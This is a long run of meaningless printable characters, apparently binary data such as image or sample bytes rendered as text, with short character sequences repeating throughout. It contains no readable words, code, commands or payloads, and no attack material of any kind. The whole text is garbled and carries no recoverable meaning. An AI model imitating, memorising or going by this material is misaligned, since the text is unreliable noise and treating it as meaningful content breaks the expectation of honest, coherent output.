KC)6+.\8c!?cCU 115FNH B5C@4b1BBAZ9W2KE>H"G(T /K /L 0Q.U-Y1T0S /R0S1T1T .Q ,O1H/G/G4L:S@X@Z>X@[=X 9T 8S 9T 9U 6R4P .F 0G 2K5N6O,P /M2H2C 2A6H4>UFE` B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B65O18U&6V4W4[7^2Y1`/j4v?"L#UUYX.X8R}0Ag/L,@3@7= 3: ,5 '0$. &0 )2 ,4E#@ )8.22.2/12041&,1%0,3$69*>2<25!!1#3%4'5(5'3%0$.$2 *9 )= %= #@'H*N'N %.%.&/&0&1(4)6+7%,)0 -5-7)3$0"-!.*#+&*(')%* #-Z4N@@D%G&S,HB>%10%,)#($(#* "*"!,$",$!-&!.$($(%'('(&)%)#)" ) )("'#&%&'&&%*))* %( #( "( "+ "- #/+"(&!*- .$0 +/4. 9.!*2)1(. &, %*#)"* !* -E=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:? #'.'+) (, '-',&'%$")%/ &4%4"/",&)++/. . /" 1'0+.-+--%C'!9"0(.--)* )+ */>$'2'((()-'*9#-8#.''1*1'3#21$/$/!134*"3("/#"*BT0s>@n@kBz>1.7:?=;@QvYr\gikq$/24/ 4*4"544 3 4%!>6- ) *$)&'%%!'! )$ )')$* !+!,#,"/!- , , $.$.$-"+"%#$$#'$+'1)6+8-,-%'+$(#%# #&#*%-&1"'$($'.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6*+ '' #$ $' !#"#**2224*, !$!( ())+/1 21-$'("+ )!'%$('$$"!! #")'%/+&3-&5#(#'!'!( ( !* !,", %-%-%.%.%/Ioz> ? B B E @"3 $0!$/#$.2!7'= +E",I!*K'I%H BA >!:#6&1 (-)+)5)4)4)3)2 (/ ', %+%.$-#,","!-'"/-#10%2(#;)%;*&;*':*'8'&5%$1$$/ 3#7%9 %9$7$9)=-A '9 (; )= &= #;; = "?&.&.'/(/*0+1 -1 -1%8(A,J/O/L+A'3"*+;);*;-?-A+@%; 6@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G /D -E +H*K+N+O#*J*M,S0V 5U8M9B9;(W(W)W+V/V2V7U9V1`AoPz Ms<_.P ,M0R-G0H 4J7K 9L;Q=L -I 0J3I4F3E5K':T6?]5M =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @&.C*5L'7Q3S2T3W5\'8^$6c 4k6v >"HMLRvRw,Rz5Mw,@d1M.A 4B;A6>/8)3&0 &/ (1 +3!@%< )5/20000.3,4*(*,&0)!5"59)</9/1!$4%4$3%2%1 &1 &1 '2'1 +8 ,; &: $= 'C)I'I'+&,%,%/%1&4&6'8$+)0!-6!/8+6&2$0#0*$+&*(')%* #-[6T@GD&B&M.D@4"21)/",#'"("("* !+!!,! ,#,"(#($'&'''($'"'"(.'-%*$(#'"&"&"& &% %& #& "& !( !* !+ !-$#( ") ,.$0*/2-6,)1(/'. &+%*#*#+ "+4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\,0&( '7 &8#:";!9 4-*%-(2)8 ): (8 &0&)&&-","," -$/&/+".,'--2#B, 9'"1&*1%.0-/,1.69!%,%&$&')&*4$+7%.((/+0+5(5"#2&1)3$355/)9*(4&&-@T0p?}>jBo@/19L\cbWF@GzTrYtd%./!0,!0&!0 !0!/ 0 0 0#";!72, !*#)$'$&$&#'!!'%!(& )"!)"*#*#."- !+ ", #- $- #-!* %!###$#($-&1(3('-$#+$($$$ #'#*#.$1#'&)#' "L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G +,((&&%$$#!$$#& !$"$ *+3334,.$'#)")!) * - / 1"45"1(+-'0'/(.,+/*&'$$#$&&,%(2')5)(7$)"(!( ( ) ", #- $0 %+ $,%,%-%-!9ZKB @ =#4*1"2$/$.$-$5%7&:(?'A'C%D$E@ ? ="9#6&1 '.)- '3 &1 %1 &0 &/ '. (. (.%-%-$-$.%/'&2,)60*7"%;"&;#':$):"(7!'5&1%0!4%7&9%:%9(<,A1E1D2E1F-E'@ #> #? $A%2%3%3'4(5)5 +6 +6%:'@,H0O2M1F/<.6!0?-=*;+>,?*?&; "8$;&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD 4F 1G .G ,I+J+N*O *I.P2V5X6T 6K 6B8<)W)X+W-V0W4V 7U9U3] BlQxRu Ed5R.J -J.E1F 5H8I 9I9NFGL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOB-;2A6J4M0M.O0T4Z4@g2?k,uHhGk+Hn1El)>`3O 2E 6C=D8A1;*4&0&0 &/)1&9 (6*4,2,1+2)5'6()"(0#%67 9':,6 ,/")8&6$2#0#0%1(4)5 +1.7.9 (6 %6 '<(@'?)((*'*$.#/"3"6"8")(/!-6"09-8(4'2%2+%,',))*&+ #- $1W;SF4=)D/C6/T.*1%/"'!(!'!* *+,,( '"'#'%'%$%#$"5110-,&)"((**!!"# "$ #' "( !* + +%(#) ,!/#0)..,2+(/&.&,%+$*$+$,GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xx27/1)*CEEGD@;7$-&3(8,>/?.9*/'(+)*(*'*'+(#,*,.-1/.7)G2$=.&5.,3./2*+/'*1*,66!&*&'(*%*-1*.4).',/./.6"*5)'5,$3,!4&3 5 5,)9()3#'-:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyX&-)$)&$*#$*$*$*$+#+#+!$8%8'6'2 $, #'$'%&'$'$&%##'&$'&#'#$'"$(&. $+ #*"+$,$-"+ * & %!$"#$"'"*#+$,$*$'%$&#(!- !0 !1%*&*#'!!"irr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[M--++*)#+)%**!& $ "$*+2334-/'*#&"'!' ( + .!0"1!6#3*-0)3*3,2003*')'''(++2 ,6!+8!+8$+"+( ' ) "- %3'5 &, %+%,%,V GOBCC4"3$0$.$,%+ )5 (6 '7 %8 %; %< #? $?!=!<";#8#7&2 (0)/'4 &1 $0 $. '/*1-306 %. %.%.%/&1)5',8*,:';(;):):*7)5(2(0%5&6&7%8%:)=$/D)3I/7J.7M+6L#1H)B%? #? $?":":#:%;%;&<'='= &; '@ +F0K3L7J9G#:D'6E"1@,;*:*<*=)<&;&>&<)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;7L5K 2J 0I -H,J,K+L,I!3R 9Y;Z7S3J4C6A +V,V,V/V2T5T 7T:S6[BePpTpLe >T1G+@0B2C 7E9E:E7K9DMANGMQU$."%**6=6\8XI_EVDT@VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k89m@01Wrotppiphzrm4> 7C8H5I /I -K/R3X;Ej8Dk2?k*Y =[&<^):]#7W3N4F 6D8B5?/9)4%0%/ &/'/ )3)2*2*2)3(5&5$6*'-0+8#9!8%7*2 *-)7'5&4%2$2%2'4(4-207/7 )3 &1 '5(8 '6*()(')$,!/ 356'&-+4!.8,6(4'2%2.(/*.++-(-&/&3&2XDJ?,<'=69S4'/ $-(((*++,,() )"'#'#&#$#"8.3+-)&'!(*.0!! #$ $& &*&, $- "- !-%'$*!-"0"0'-,*/)&-&,%+$*#*%,VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k89m@01Wro/605-1(-ACDC?:86!,!.$3);0A 3@$17$-/)/)-(,&) '))*+2//92332O--D(+9*.5*.0&'+$#+$#.5$+')-//!22.012//%.,/* ,2$*2)'2.$1,!1& 1!2!1!.!)!%8R2k89m@01Wrotppiphzrm!; !< "=!@!@"@#A#A$B%C%C&@'A )C .F3H9J=J"?K+;F%5A,9(6(7+:+=+<&>(>*@-@69S4[29NkGy;W:T8R2k89m@01Wrotppiphzrm[FaKaI\AQ 7E0<0A3C 6C9D:C 4I7E9D:@ :E7J2O&,P3)P0,N%/K 2O1N1L0J1I3I 4K 5K:H 5H 0K-N-N$.I'/B(/<6?`9[ 5X4U>KGPNRQS TZ#!""*-6E8X":`!=[EQGSHHH0DL.NF-2J%9sAGMA[<^8UFKBE8L6Z-O73NnAy>U>P;P4n45s9/>lnmm\kNqOl^hodNWV@Lt_pNGsLxRhdhjhp`{V#I+I)F(%K'A6"1"'#!""*-6E8X":`!=[EQGSHHH0DL.NF-2J%9sAGMA[<^8UFKBE8L6Z-O73NnAy>U>P;P4n45s9/>lnmm\kNqOl^hodNWV@Lt_pNGsLxRhdhjhp`{V%,8",:#/?:@U>P;P4n45s9/>ln(0+3+3)3&0!4#5&6%3".+++$/!0!3%9,>1>%18'03*0*0(.%,!$+'(/./654<"8Q2F/;05 ./&)!("!+1#-!)/2152$30)0+,$, )+#(+)%,-!,* ,#+++%" ;P4n45s9/>lnmm\kNqOl^hodNWV@Lt_pNGsL& $'!'!&#&#%$%%%%$&!'0"*3 /7/4).%)$(&++$ +%)%'%#&%$&'$&'"'')+')%(%(&*%*#(!'#.$-$+#)#'#%!#! &#&$$'$+". 033#(%($'"#''2/52^hodNWV@Lt_pNGsLxRhdhjhp`{V#I+I)F(%K'A6"1"'#!""*-6E8X":`!=[E+)+) ,**&$%"''+-0/1,/*-(''&%'#(#)$+%/&06#2'+*&,$*#'&$('& '& %((-*2+5+7)6$2"0.- / !4'9)=+.*.*.`{V#I+I)F(%K'A#3$0%.%,&*') (+ )/-509/<,<);':%5$5#6$5%6&6(4 )4*7(3 &1 &0)1.54:8>-7-6*4(4(3)5*6*7);):*9)8*5+5-4-3,5*3(1%1%3!'5&(8))9")9$)<"*=(=#: 8!:#<"B"B"C#D"D#E$F$F'C(C )@,@/A4D8G:J+;E$4>-8(4(6+:-;-=$>)@.E2H4FZ-O73NnAy>U>P;P4n45s9/>lnmm\kNqOl^hodNWV@Lt_pNGsLxRhdhjhp`{V#I+I)F(%K'A6"1"'#!""*-6E8X":`!=[EQGSHHH0DL.NF-2J%9sAGMA[<^8UFKBE8L6Z-O73NnAy>U>P;P4n45s9/>lnmm\kNqOl^hodNWV@Lt_pNGsLxRhdhjhp`{V#I+I)F(%K'A6"1"'#!""*-6E8X":`!=[EQGSHHH0DL.NF-2J%9-B .C .D8T7R3N2L/I-H-H-G2L#;S$BX@U9L2G0G$3L 1T 3T4S 6R 7Q 9O9O:N:S9Q9QO>J:D 6?/C2C 5E7E8D2I2F4H6E6G 4K0N)+M4+K./F#2E4J3J2I1H0I0K1L2M 8E 4G 0K.N.N0J1B2;2>7I;W <_ 7^ 2V0P2L@HIO%OQ#JMDKCP,.&(43B6N?OJLLDH.D#JI7!LI(0R 6b=IJEY?`8b8`;[9[7S+H8y,JgB~?U=N=Q6n34x9/OrmZpK~JIGsShqf9QR/AN`IJPwSnZqcij_q=\{5N/F!,F'&G8,$(&% $,.&(43B6N?OJLLDH.D#JI7!LI(0R 6b=IJEY?`8b8`;[9[7S+H8y,JgB~?U=N=Q6n34x9/OrmZpK~JIGsShqf9QR/AN`IJPwSnZqcij"*9)7+80; :@ ;C:G 4F -D *F,M0S(7V'8U"5P1M,L*O %S R+9.?,C(B'C)C(> &8!*6!'4!&3$1$0&0 (1)2(1(4'8':!&:#(7&)2&*/2)645=*:"5%2,10/&3(5*7+8+8(6&3#1(7,;+:%4#1%3'4$2&3%1$0#.#.#-"-$, '$+'/'0%/"-#.$12,2-1.-/)/'1'4(7)2b8`;[9[7S+H8%- )++,-..., -"-#,%,%)%'$&'$%$ #" !$ &!)#.$0)()**,*/)0)1(2(3$'$)".!1#0$,((*$'-&,$+"*OJLLDH.D#JI7!LI(0R 6b=IJEY?`8b8`;[9[7S+H8y,JgB~?U=N=Q6n34x9/O'+'1&3$6#7!7$,(.-.,)'#$!$"&%")4(6&7 &9 (:*9,4!+0,-,/)/$."/&4#/@'8I7L 1B/92511")-&%-*%0*!-'. /0 3.2+!/%-,$%"$%)#',!')(!''&%#! =Q6n34x9/OrmZpK~JIGsShqf9QR/AN`IJ, &!%"&#%#$%$&$($(#&,#)/ ,1,1+/(-','-)% )%(&&( %(%)&)')))''%&%&'(')%'$&"0$0$/$.$*"(!% #!!"%#($-"0 445 # #%$'&'..$:8(?;'>:Shqf9QR/AN`IJPwSnZqcij_q=\{5N/F!,F'&G8,$(&% $,.&(43B6N?OJLL)&)'1&+&"!'&**-+.*,(+-)+)*)*+(-)/+1+4!9$5).+'+#)$ %% "(%&$% "&$+'/(4(7)7$5#4 123"8&;(>,-,-*,ij_q=\{5N/F!,F#5#4%2&/'-'+(*&(),-308 0;-;)8&7&/&0%2$4%6&6'7 )8'4 &1 $0 $. '/*1-3061=0;-9+7)7)7+8+9)<):)8)7)5+5-5.5.3+1)/(/)2)2(2&1&3'6):'9$9#9$<%? %@ %@%A%B%B&C&D&D&G &C(>);,:.=0B1E'8?!2:+4)3*6-9.;.;$?)A.F2H4H2BH8y,JgB~?U=N=Q6n34x9/OrmZpK~JIGsShqf9QR/AN`IJPwSnZqcij_q=\{5N/F!,F'&G8,$(&% $,.&(43B6N?OJLLDH.D#JI7!LI(0R 6b=IJEY?`8b8`;[9[7S+H8y,JgB~?U=N=Q6n34x9/OrmZpK~JIGsShqf9QR/AN`IJPwSnZqcij_q=\{5N/F!,F'&G8,$(&% $,.&(43B6N?OJLLDH.D#JI7!LI(0.C.C.D/E4S4Q2N 0K/H/G/F/F"5P#;R?P>L8F4F3K4P5S6S7S9P:O :M:M:L :R 6N 2H1E5E8E9C9A,G.H2H4J5I1K0K1N&0J2L1M.M*,K2-E*2@7<7I7I5I2J1K1N1O1Q6E3F 0J/N1N3I 5@ 5;/@3J5Y 5_ 0\/R/I%2DCI%IM+KM,HK+EM)DS!=W5T, '% /. 3070>0@(AFK'M<,ED$.P2V1Gj@KNEY@_8]4X4N0J90@(AFK'M<,ED$.P2V1Gj@KNEY@_8]4X4N0J99B8E3D*B &C(H,M 4P 5N4I1E-E*K&Q !S-43@"4G"/F ,F ,F(@#7%)6&'5'&3$%2$1&1 )2*2&4%8%< &=%(<(+6*./,0*5+:68?,;#4 &2 /3 63*6*7*7)7(6'5&4&4";'>'>"84#6$6#5";!8"4#1%,'*)')&%-(.(0%/"- ,#.%2/*0+/,+-', $. $1 &4&/_8]4X4N0J90@(AFK'M<,ED$.P2V1Gj@KNEY@_8]4X4N0J9,@ )<(6)1).0)/,+-$.!1%:/J9U 4J .?-704'/1.).4%/:&4*!0(0/.2+2) 3&4#8!%##$#*$%."',!'# (&% !&"&%"AR7k257/WhgL};30@(A)'8'2'& '$('*'*')%)-',(*(*((+).+0+1!8$4(.+',$*$ && #)%(#' &!*$.'5(8)9$7$6"6!5!7"9$;%=****Y]yalbhkFR{"0I$6%4&2'/!'-!(,#(+ (("*+$+/&,2%*4$(4!%2"1(-'.&0%3&5&8'9 (: &3 &1 %1 &0 &. '. (. (.-;+:)9(7'7'7(8 ):(;(:'7&6)5*5-5.6/2-0,0.20516.3 +0(3+5 +7)8%8#9$;%?(= (= (='>(>(?'?(@ #H$D&>)9*9+:*?*A 28.5*2*3,60:.:-9'B(C)B+A,@-@-=-0@(AFK'M<,ED$.P2V1Gj@KNEY@_8]4X4N0J90@(AFK'M.E/F/F/F.E.F 1R 0Q /M .J/H/F1E1F(:S!;O;H :B9A6E 6N6T7R9R:QPYARd9Kg,@a5_*<) 9% 8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQR )6%7 (=+?,:.6144<6@5C0B(? $@ %E(I!7S8O9I5C2E0M-T(W27#+-5.2,/4'7,=8:@-; #3 '2 24 85.:-8)5'4%3&5(6!(7=$B$@:6"9$8#7@ =!8#2&,)(,$.$*1*2)1%/!, ,$/&3-'.),*(* $* !+ !. #1!+/P;P9M(1D/L6X1Ib@MpJH}NBP;P9MCD"<(=/</7 )/%.%2 '7#/)7/A0E -@*8+2,02%1),,%. 3$> 0P :]3J-@+7#-3/,06%,=!-C!1,&6*3004,6*"9*(?,#C,%"%%",%%/$'-#(%")!' & !&$%'$CR6h153*S_nG4'+>Jx=jha:PVMc|nV5"&"& "'!)!* , , .+%&$#$#$&("*/%-4%*2$(0%)$*#*$+#,$,%- '.(''%%&!%$&%(&*')&($ / /!/!/",!*&$*!($&*!"0#4"6 77 !%$' $& "#&%*(*& $!+ *ha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK<'5')'"($($($'$' *$ )# '# &% %& &( ',(-5!1&+*&+$*$ '' $*%*"( ' )#/'6):+;$8$8#8!8!9";#;#= ''LJLWdfvj$6$6 %4"&3$'0%'.'(,()+,+*+)+*(+)&,'#-&!.%.$.)+'-&/&2&6&8(: );)5)4)4)3)2 '/ ', %+%5$3#3!1"2#4%6 &7'<&9&7&6'4*5,5.6.0-../25798: 4602,3-6-8)7 %7!6!9":+9*9 +:+;+;*<+<+< H#C&=$)9'+9"):(>'@-2+0)0+3.70:.:-8)D'B%>#;%9);,=0? 6EDX8GCR6h153*S_nG4'+>Jx=jha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK#X.E/G0G 1H0H/G/F .P .O -L -J .F/F2F3F*;U9M8B8<8>9F8O6V9R9Q;P=O=M =LV'B^+Lj(d!u q`z HY3L -NLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}#9U':'9'8'8(8 )9 +: ,; <> 8< 27 ,6(6(;*>!+B'*K(1M$2J/C0>8@ ;? 9<2I,A); 1>'6B)5@#-9&2)0+(0.$//*0'2)7.A3H)2(3(3&3&4%4$5#4(7(7'5'3 &1 '/)1*0',(0 *3 (2$1"2"5#%8+0*/'.'0&1'4(5 )9 ./ ,- *, )* )*)++-+-*3(2 $1%!0&/ 0"0$07$4*, ,& +% ')"2 9&&&'rHQuGQl;Jd"FU9e*G@X!.!-!+")"'"&"$5 6%7 (8)7 )5*5*6$,#*")!( ' '!(!(#2%0 ),,(+( &+"./"*#* #+#+ "-!0 1'2$/!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg;;;8,*/" ,$"6#F!D$@ *< .:2:#5:,7:%) #(!)!'$%$ '' *- ,02" -!&$DR7`245)B[wI>/(,P~=ma_;HUZikrm})/!0-2734-*%"%$*%)"*"($"#*"!7)&A(2%0"+"*$*%*"' #!'+/ 0 ".''*!,&*#& #! !!!"$#"$" !'"'$)&*'+(+'+(+422. , !*"' "'+- !/;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U-!*",03$1 &)'#'$&$$$ "% "( ", #/ $1 +) &!"$#%"&""(")#*- , "+ %+&0$7!># C&&0&/&. '- ', &-'.&. %(^VNFLXe1&+*',"**,*-)/*&/++/,+,(/$3"5 4!3".$, 0;0;.:(.:(,6 +3+/,-$2$2$2#2#2"1"2"2A <$6'/).)/&3%7)1)1)2*3+4+4,5,5+<+<+;,:,8,8-8,6)3)3 )2 *1 )/).).*.)5*7+8,;+;);(9 &9 ,F .@ 18 20 3/ 24 /; -A*8,:.:/907/61749 ';)>*=);'6'5+8.;FM 8B(4DR7`245)B[wI>/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`2I0E1E0E/E/E.E.E.F+J*H/M:T:S2I-D/E 1C2E7I"-zP^;P5T8^"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbi2I8N'9&8&7'7'7 )8 *8+9HLBF7?-:(6%8(>)@)K"-N/K*B,>2>3=3:-D(>&:+;/>.;)6'4,4/+31%12-2(3(8,?0E)2)2(2'3&4%4%4%5"3#3$2$1%0&. &. &-48 4;4</9)5$4"4$6*.*.(.'0'2(4)6)8-/+-),(*(*(+),+-(3'2!$1%!0" /!0#0 %14#1 (+*%($ $(!/6%+$*#+b"B_B]Bf(K{9X;W8G"-"+")"'"&#%35 #6 %4'4 &3'2'2$+#*") ' ' '!(")#2%/ ),+(+( &+"./"*"* "+ ", ".!0!1! 2%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1 )5 (3#.$/%0'2&1$0"-!,(C)@*=*7-1.,/(/%'.&4)A3O4Q3F5=;;8@+;%>%E$C!6&0/23=.4&247<;898+*/#!.#$6)E!!B%?';,8/8%17.37#( !(")#(%''*-/3388*2'+*EQ>]1.4(4IDO1**SzBdZdKPzjcbiol! + 1 .&,.--*$#$#+ ('!'"("()- 5#";*3'/ $,$+$*$*"&#&#-!#/#2#2%/'*)"*(-%)!$ """!$##%"$%""'#(%*&*'+'*'*&*221/, + ") ")-"0'5,8jcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._+/1"/%) %"'%%%$& $( $+ %. &1 &3 -"*")" %$"#& "'!'")-"-%.(/)4'8 #>!!@#&0&/&. '- ', '-&-&.|mynvpwoxkzZQ*.-&,'&,(***,*.*"-*'/+)*',"0 34"3%1'./<.;!,9(+8)*4$)2*/*-$2$2$2#2#2"2"2"2@ <#6'1(.(0&3&6)3)3*4*4*5+5,6,6+<+;+:+9+8+6+6+5(6(6 (4 (4 '3'1'1'1'5)7+8,:,;+;)9)9 ,C .= 36 60 6/ 33 09 .=+9-;0=0;09/60727 (:);*;)9(6)7,9/<BF9? .6 '4>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At2J3J0F0F/F/F.F.F.F.F1J0I3L:U:T2M.I/K 2E2D5I :N8N6I 8J ?P7R8S:W:Y:Y 7X6V4U :K7K4J1J/I.I.H.G,V.Q1I3D 5D4V3W1U23H-2H&0I.K,M+P*T*U3C2F2J1Q1W1^ 4d 5i1R0R .P-O-P-Q/R0S2J0L0R4X8[:X!7Q#5K7O>Y4LhEeOOD6Zc CV` ;[jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\3?6B&8%7%7%6&6 '6)7)8#IOBI5?*8 $6#7&=(@(M+O*K'D'?*>",>"+:+A(?(> (? '< '8)7,9085-66&34-4)5'8)=,C*1(2)2(2'3%3%4%4"3" 3 "4%5(5)4(1 '.@D@F=E7@.9&5#4$4*-)-)-(/(2*4+7+9,0*/(-&+&+&+',)-!'3!%2#$1!"0"0#1$1'20#/ '+((&& #(!. 2"1"/#.",>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S, -","("$%'$'$)$*%, '/(2*5/$.%+$'%#&"'!'( ,$.)1-5.8*9%:":'0'/'. '- &, &,%,&-gjpgpcyq}uxst(-).&#-"%,%,'+)+*+,+ ,,02,2'4"4!4"4%1)0-<+:$)7)'5*&1''0"'. (-$2$2$2#2#2"2"2"2>!;#6&2'/'/'3&3'3(3(4)4*5*6*6+7*:)9)9)7)6)5)5)3$9 $9 $8 %7&7&6%6&5&5'6*8+:-:-:,9+8 +> 0:53:/:.71 14 -8-;/=2>3> 0;.7.6.6 )7)8)8*8*8,:.=1?<;::7:29/8,8,3.+5?@*+.UxDbdM`UdOUtW[xhocjgjpgpcyq}uxst`QamiNO} -Q$1N$;G#9X2Z"SWDwS{'U{/Ku,>jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\(B(M)N(J$D#?%&>,'=-&<,B,C -G *F%A%:-<5B2<:-99'58/6*7(9(=(?+1*1)1)2(2'3%3%3- 7,"7+$8**;(/="0<.9+3?C?E=D6?.9 '4 %4%4*-*,(,(/(2*4,7,:*2)1'/$-$,$-$-&/&%2%$1!$1"0$0%1 &2 '2#0&0)0 )- '+ $,#/$2 6 4 1#.SmPlLeI]EVGRAX",#*#(#&$&10/ /"/$,#*!(#*")!(' '!("(#*!2#0(, +) +( '+#. 0 !+!*!,!,"."0'9S#7e3i'V.bSwn|b{-Xx7JoL7fI0`<"JH;~5QHfIeHaIaHcKbMcSmPlLeI]EVGRAXB_+).+0-0-*,*,*.)/*1*5*6*6)D)C)@*=*9*6*3+2%<8,;=99G?7N82K)0D5B=D.BR$5L&H GD="3"-/3-1.2,4903:)+4#(2#*65%?/%='%9!&6'3"'1)'1.(1$30"1/,+')")#-(4,:0)-())B_B[1j.-3,(&$)2YzMeISdCRknjV_nVOY`&&14(@(!3!)#"'&%()(,(/,*$.+1!-2 *0%/!01.1+.(+ (*(*')$&!#%)1"(0(/&/&,%)$%%%*4'0$*#(%&)% *#!*"&&&&''('(&'%&%&$"-!.!.!.!./00+.$1'4'4#1OY`ts{jvjtku|}w|ye]nmsd-1Z#.\(1U'9S#7e3i'V.bSwn|b{-Xx7JoL7fI0`<"JH;!)!) ' %!("(") "* $- '/)1+31&0&-&)&&&"' &' *$-+3.7/8,7&4#3)1)0'.&, &, %+ %+ts{jvjtku|}w|y).)."/#.#.$-&-(.*.+.(==$7=/<(9#6#4&1)/"+;#)9$&5&$2'#.'#.(%-(&,$2$2$2#2#2"2"2"2 ;!:"6%4%2&2'1'1'3'3(4(4)5*5+6+6(9(9(7(6(5(4'3'2 #< "=";#;$:$9#9$9%5&7*8,9.:/8/7.7 +:0873=/=.8/22 -5 ,= 0@2A 2?0<-7,6-4 +5*4 )4*6,8.=0>1?52:8=<;=5:.6 *6*63,(&$)2YzMeISdCRknjV_nVOY`ts{jvjtku|}w|ye]nmsd-1Z#.\(1U'9S#7e3i'V.bSwn|b{-Xx7JoL7fI0`<"JH;~5QHfIeHaIaHcKbMcSmPlLeI]EVGRAXB_B[1j.-3,(&$)2YzMeISdCRknjV_nVOY`ts{jvjtku|}w|ye]nmsd-1Z#.\(1U'9S#7e3i'V/F1I2J3L4L4L-F-F.F.F.F-F-F-F=F:F8I6N3Q.R,T+V5G1F0J1Q.T *U.]6g7S9UQ :J7U7V+>[5Pg9eu9p{7mu3ckY[BM8M7S6R 